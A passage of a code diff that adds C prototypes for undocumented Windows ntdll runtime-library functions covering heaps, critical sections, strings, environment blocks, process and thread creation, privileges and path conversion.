*ResourceDataEntry + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResourceEx_U( + _In_opt_ ULONG Flags, + _In_ PVOID DllHandle, + _In_ CONST LDR_RESOURCE_INFO* ResourceIdPath, + _In_ ULONG ResourceIdPathLength, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry + ); + +NTSYSAPI +VOID +NTAPI +RtlAssert( + _In_ PVOID VoidFailedAssertion, + _In_ PVOID VoidFileName, + _In_ ULONG LineNumber, + _In_opt_ PSTR MutableMessage + ); + +NTSYSAPI +DECLSPEC_NORETURN +VOID +NTAPI +RtlRaiseStatus( + _In_ NTSTATUS Status + ); + +NTSYSAPI +VOID +NTAPI +RtlRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +NTSTATUS +NTAPI +RtlConnectToSm( + _In_ PUNICODE_STRING ApiPortName, + _In_ HANDLE ApiPortHandle, + _In_ DWORD ProcessImageType, + _Out_ PHANDLE SmssConnection + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSendMsgToSm( + _In_ HANDLE ApiPortHandle, + _In_ PPORT_MESSAGE MessageData + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterThreadWithCsrss( + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnterCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLocked( + _In_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread( + _In_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount( + _In_ PRTL_CRITICAL_SECTION CriticalSection + ); +#endif + +NTSYSAPI +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + _Out_ PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSYSAPI +VOID +NTAPI +RtlEnableEarlyCriticalSectionEventCreation( + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + _Out_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount + ); + +NTSYSAPI +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSAPI +BOOL +NTAPI +RtlQueryPerformanceFrequency( + _Out_ PLARGE_INTEGER Frequency + ); +#else +FORCEINLINE +BOOL +NTAPI +RtlQueryPerformanceFrequency( + _Out_ PLARGE_INTEGER Frequency + ) +{ + LARGE_INTEGER _; + return NT_SUCCESS(NtQueryPerformanceCounter(&_, + Frequency)); +} +#endif + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSAPI +BOOL +NTAPI +RtlQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCount + ); +#else +FORCEINLINE +BOOL +NTAPI +RtlQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCount + ) +{ + return NT_SUCCESS(NtQueryPerformanceCounter(PerformanceCount, + NULL)); +} +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize( + _In_ USHORT CompressionFormatAndEngine, + _Out_ PULONG CompressBufferWorkSpaceSize, + _Out_ PULONG CompressFragmentWorkSpaceSize + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCompressBuffer( + _In_ USHORT CompressionFormatAndEngine, + _In_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalCompressedSize, + _In_ PVOID WorkSpace + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBuffer( + _In_ USHORT CompressionFormat, + _Out_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize + ); + +NTSYSAPI +PVOID +NTAPI +RtlCreateHeap( + _In_ ULONG Flags, + _In_opt_ PVOID HeapBase, + _In_opt_ SIZE_T ReserveSize, + _In_opt_ SIZE_T CommitSize, + _In_opt_ PVOID Lock, + _In_opt_ PRTL_HEAP_PARAMETERS Parameters + ); + +NTSYSAPI +PVOID +NTAPI +RtlDestroyHeap( + _Inout_ PVOID HeapHandle + ); + +NTSYSAPI +PVOID +NTAPI +RtlAllocateHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _In_ SIZE_T Size + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _Inout_opt_ PVOID BaseAddress + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWalkHeap( + _In_ PVOID HeapHandle, + _Inout_ PRTL_HEAP_WALK_ENTRY Entry + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _Out_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _In_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength + ); + +NTSYSAPI +SIZE_T +NTAPI +RtlSizeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlZeroHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags + ); + +NTSYSAPI +VOID +NTAPI +RtlProtectHeap( + _In_ PVOID HeapHandle, + _In_ BOOLEAN MakeReadOnly + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlLockHeap( + _In_ PVOID HeapHandle + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlUnlockHeap( + _In_ PVOID HeapHandle + ); + +NTSYSAPI +PVOID +NTAPI +RtlReAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _Inout_opt_ PVOID BaseAddress, + _In_ SIZE_T Size + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetUserInfoHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _Out_opt_ PVOID *UserValue, + _Out_opt_ PULONG UserFlags + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlSetUserValueHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ PVOID UserValue + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlSetUserFlagsHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ ULONG UserFlagsReset, + _In_ ULONG UserFlagsSet + ); + +NTSYSAPI +ULONG +NTAPI +RtlCreateTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_opt_ PWSTR TagPrefix, + _In_ PWSTR TagNames + ); + +NTSYSAPI +PWSTR +NTAPI +RtlQueryTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ USHORT TagIndex, + _In_ BOOLEAN ResetCounters, + _Out_opt_ PRTL_HEAP_TAG_INFO TagInfo + ); + +NTSYSAPI +SIZE_T +NTAPI +RtlCompactHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateProcessHeaps( + ); + +NTSYSAPI +ULONG +NTAPI +RtlGetProcessHeaps( + _In_ ULONG NumberOfHeaps, + _Out_ PVOID *ProcessHeaps + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnumProcessHeaps( + _In_ PRTL_ENUM_HEAPS_ROUTINE EnumRoutine, + _In_ PVOID Parameter + ); + +NTSYSAPI +VOID +NTAPI +RtlTimeToTimeFields( + _In_ PLARGE_INTEGER Time, + _Out_ PTIME_FIELDS TimeFields + ); + +NTSYSAPI +ULONG +NTAPI +RtlUniform( + _Inout_ PULONG Seed + ); + +NTSYSAPI +ULONG +NTAPI +RtlRandom( + _Inout_ PULONG Seed + ); + +NTSYSAPI +ULONG +NTAPI +RtlRandomEx( + _Inout_ PULONG Seed + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFindMessage( + _In_ PVOID DllHandle, + _In_ ULONG MessageTableId, + _In_ ULONG MessageLanguageId, + _In_ ULONG MessageId, + _Out_ PMESSAGE_RESOURCE_ENTRY *MessageEntry + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatMessage( + _In_ PCWSTR MessageFormat, + _In_ ULONG MaximumWidth, + _In_ BOOLEAN IgnoreInserts, + _In_ BOOLEAN ArgumentsAreAnsi, + _In_ BOOLEAN ArgumentsAreAnArray, + _In_ va_list *Arguments, + _Out_ PWSTR Buffer, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosError( + _In_ NTSTATUS Status + ); + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb( + _In_ NTSTATUS Status + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLastNtStatus( + ); + +NTSYSAPI +LONG +NTAPI +RtlGetLastWin32Error( + ); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + _In_ NTSTATUS Status + ); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32Error( + _In_ LONG Win32Error + ); + +NTSYSAPI +VOID +NTAPI +RtlRestoreLastWin32Error( + _In_ LONG Win32Error + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSAPI +ULONG +NTAPI +RtlGetThreadErrorMode( + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetThreadErrorMode( + _In_ ULONG NewMode, + _Out_opt_ PULONG OldMode + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +VOID +NTAPI +RtlInitUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_ PWSTR SourceString + ); + +NTSYSAPI +VOID +NTAPI +RtlInitAnsiString( + _Out_ PANSI_STRING DestinationString, + _In_opt_ PSTR SourceString + ); + +NTSYSAPI +VOID +NTAPI +RtlCopyUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeToString( + _In_ PUNICODE_STRING Destination, + _In_opt_ PCWSTR Source + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_ PANSI_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString( + _Inout_ PANSI_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +CHAR +NTAPI +RtlUpperChar( + _In_ CHAR Character + ); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixString( + _In_ PSTRING String1, + _In_ PSTRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendStringToString( + _In_ PSTRING Destination, + _In_ PSTRING Source + ); + +NTSYSAPI +VOID +NTAPI +RtlUpperString( + _In_ PSTRING DestinationString, + _In_ PSTRING SourceString + ); + +NTSYSAPI +VOID +NTAPI +RtlFreeAnsiString( + _Inout_ PANSI_STRING AnsiString + ); + +NTSYSAPI +VOID +NTAPI +RtlFreeUnicodeString( + _In_ PUNICODE_STRING UnicodeString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToInteger( + _In_ PCUNICODE_STRING String, + _In_opt_ ULONG Base, + _Out_ PULONG Value + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDefaultNpAcl( + _Out_ PACL *Dacl + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateRegistryKey( + _In_ ULONG RelativeTo, + _In_ PWSTR Path + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValues( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _Inout_ PRTL_QUERY_REGISTRY_TABLE QueryTable, + _In_opt_ PVOID Context, + _In_opt_ PVOID Environment + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWriteRegistryValue( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PCWSTR ValueName, + _In_ ULONG ValueType, + _In_opt_ PVOID ValueData, + _In_ ULONG ValueLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironment( + _In_ BOOLEAN CloneCurrentEnvironment, + _Out_ PVOID *Environment + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironmentEx( + _In_ PVOID SourceEnv, + _Out_ PVOID *Environment, + _In_ ULONG Flags + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyEnvironment( + _In_ PVOID Environment + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + _In_ PVOID Environment, + _Out_opt_ PVOID *PreviousEnvironment + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVar( + _In_opt_ PWSTR *Environment, + _In_ PWSTR Name, + _In_ SIZE_T NameLength, + _In_ PWSTR Value, + _In_ SIZE_T ValueLength + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + _In_opt_ PVOID *Environment, + _In_ PUNICODE_STRING Name, + _In_ PUNICODE_STRING Value + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable( + _In_opt_ PVOID Environment, + _In_ PWSTR Name, + _In_ SIZE_T NameLength, + _Out_ PWSTR Value, + _In_ SIZE_T ValueLength, + _Out_ PSIZE_T ReturnLength + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U( + _In_opt_ PVOID Environment, + _In_ PUNICODE_STRING Name, + _Out_ PUNICODE_STRING Value + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings( + _In_opt_ PVOID Environment, + _In_ PWSTR Src, + _In_ SIZE_T SrcLength, + _Out_ PWSTR Dst, + _In_ SIZE_T DstLength, + _Out_opt_ PSIZE_T ReturnLength + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PUNICODE_STRING Source, + _Out_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentStrings( + _In_ PWCHAR NewEnvironment, + _In_ SIZE_T NewEnvironmentSize + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParameters( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParametersEx( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData, + _In_ ULONG Flags // Pass RTL_USER_PROCESS_PARAMETERS_NORMALIZED to keep parameters normalized + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSYSAPI +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlNormalizeProcessParams( + _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSYSAPI +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlDeNormalizeProcessParams( + _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserProcess( + _In_ PUNICODE_STRING NtImagePathName, + _In_ ULONG AttributesDeprecated, + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_opt_ HANDLE ParentProcess, + _In_ BOOLEAN InheritHandles, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE TokenHandle, // used to be ExceptionPort + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserThread( + _In_ HANDLE Process, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_ BOOLEAN CreateSuspended, + _In_opt_ ULONG ZeroBits, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ SIZE_T CommittedStackSize, + _In_ PUSER_THREAD_START_ROUTINE StartAddress, + _In_opt_ PVOID Parameter, + _Out_opt_ PHANDLE Thread, + _Out_opt_ PCLIENT_ID ClientId + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlExitUserThread( + _In_ NTSTATUS ExitStatus + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDosApplyFileIsolationRedirection_Ustr( + _In_ ULONG Flags, + _In_ PUNICODE_STRING OriginalName, + _In_ PUNICODE_STRING Extension, + _Inout_ PUNICODE_STRING StaticString, + _Inout_ PUNICODE_STRING DynamicString, + _Inout_ PUNICODE_STRING *NewName, + _In_ PULONG NewFlags, + _In_ PSIZE_T FileNameSize, + _In_ PSIZE_T RequiredLength + ); + +NTSYSAPI +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + _In_ PVOID ImageBase + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSAPI +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + _In_opt_ ULONG Flags, + _In_ PVOID Base, + _In_ ULONG64 Size, + _Out_ PIMAGE_NT_HEADERS *OutHeaders + ); +#endif + +NTSYSAPI +PVOID +NTAPI +RtlImageDirectoryEntryToData( + _In_ PVOID ImageBase, + _In_ BOOLEAN MappedAsImage, + _In_ USHORT DirectoryEntry, + _Out_ PULONG Size + ); + +NTSYSAPI +PVOID +NTAPI +RtlPcToFileHeader( + _In_ PVOID PcValue, + _Out_ PVOID *BaseOfImage + ); + +NTSYSAPI +PVOID +NTAPI +RtlAddressInSectionTable( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress + ); + +NTSYSAPI +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID Base, + _In_ ULONG Rva + ); + +NTSYSAPI +PVOID +NTAPI +RtlImageRvaToVa( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID Base, + _In_ ULONG Rva, + _Inout_opt_ PIMAGE_SECTION_HEADER *LastRvaSection + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryProcessHeapInformation( + _Inout_ PRTL_DEBUG_INFORMATION Buffer + ); + +NTSYSAPI +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + _In_opt_ ULONG MaximumCommit, + _In_ BOOLEAN UseEventPair + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + _In_ HANDLE UniqueProcessId, + _In_ ULONG Flags, + _Inout_ PRTL_DEBUG_INFORMATION Buffer + ); + +#ifdef _WIN64 +NTSYSAPI +VOID +WINAPI +RtlRestoreContext( + _In_ PCONTEXT ContextRecord, + _In_opt_ PEXCEPTION_RECORD ExceptionRecord + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlAdjustPrivilege( + _In_ ULONG Privilege, + _In_ BOOLEAN Enable, + _In_ BOOLEAN Client, + _Out_ PBOOLEAN WasEnabled + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSAPI +NTSTATUS +NTAPI +RtlAcquirePrivilege( + _In_ PULONG Privilege, + _In_ ULONG NumPriv, + _In_ ULONG Flags, + _Out_ PVOID *ReturnedState + ); + +NTSYSAPI +VOID +NTAPI +RtlReleasePrivilege( + _In_ PVOID StatePointer + ); +#endif + +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Reserved_ PVOID Reserved + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToRelativeNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDosPathNameToRelativeNtPathName_U_WithStatus( + _In_ PWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName + ); +#endif + +NTSYSAPI +RTL_PATH_TYPE +NTAPI +RtlDetermineDosPathNameType_U( + _In_ PCWSTR Path + ); + +NTSYSAPI +ULONG +NTAPI +RtlIsDosDeviceName_U( + _In_ PWSTR DosFileName + ); + +NTSYSAPI +ULONG +NTAPI +RtlGetFullPathName_U( + _In_ PWSTR FileName, + _In_ ULONG BufferLength, + _Out_ PWSTR Buffer, + _Out_opt_ PWSTR *FilePart + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFullPathName_UEx( + _In_ PWSTR FileName, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ RTL_PATH_TYPE *InputPathType + ); +#endif + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFullPathName_UstrEx( + _In_ PUNICODE_STRING FileName, + _In_opt_ PUNICODE_STRING StaticString, + _In_opt_ PUNICODE_STRING DynamicString, + _Out_opt_ PUNICODE_STRING *StringUsed, + _Out_opt_ PSIZE_T FilePartSize, + _Out_opt_ PBOOLEAN NameInvalid, + _Out_ RTL_PATH_TYPE* PathType, + _Out_opt_ PSIZE_T LengthNeeded + ); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentDirectory_U( + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetCurrentDirectory_U( + _In_ PUNICODE_STRING PathName + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSAPI +VOID +NTAPI +RtlReleaseRelativeName( + _In_ PRTL_RELATIVE_NAME_U RelativeName + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlNtPathNameToDosPathName( + _In_ ULONG Flags, + _Inout_ PRTL_UNICODE_STRING_BUFFER Path, + _Out_opt_ PULONG Disposition, + _Inout_opt_ PWSTR* FilePart + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +VOID +NTAPI +RtlInitializeSRWLock( + _Out_ PRTL_SRWLOCK SRWLock + ); + +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock + ); +#endif + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock + ); + +NTSYSAPI +VOID +NTAPI +RtlAcquireReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock + ); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlWalkFrameChain( + _Out_ PVOID *Callers, + _In_ ULONG Count, + _In_ ULONG Flags + ); + +NTSYSAPI +PPREFIX_TABLE_ENTRY +NTAPI +PfxFindPrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PANSI_STRING FullName + ); + +NTSYSAPI +VOID +NTAPI +PfxInitialize( + _Out_ PPREFIX_TABLE PrefixTable + ); + +NTSYSAPI +BOOLEAN +NTAPI +PfxInsertPrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PANSI_STRING Prefix, + _Out_ PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +NTSYSAPI +VOID +NTAPI +PfxRemovePrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAbsoluteToSelfRelativeSD( + _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Inout_ PULONG BufferLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG StartingAceIndex, + _In_ PVOID AceList, + _In_ ULONG AceListLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAtomToAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _Inout_opt_ PRTL_ATOM Atom + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString( + PUNICODE_STRING Destination, + PCUNICODE_STRING Source + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreAllAccessesGranted( + _In_ ACCESS_MASK GrantedAccess, + _In_ ACCESS_MASK DesiredAccess + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreAnyAccessesGranted( + _In_ ACCESS_MASK GrantedAccess, + _In_ ACCESS_MASK DesiredAccess + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreBitsClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAreBitsSet( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length + ); + +NTSYSAPI +VOID +NTAPI +RtlCaptureContext( + _Out_ PCONTEXT ContextRecord + ); + +NTSYSAPI +_Success_(return != 0) +USHORT +NTAPI +RtlCaptureStackBackTrace( + _In_ ULONG FramesToSkip, + _In_ ULONG FramesToCapture, + _Out_writes_to_(FramesToCapture, return) PVOID *BackTrace, + 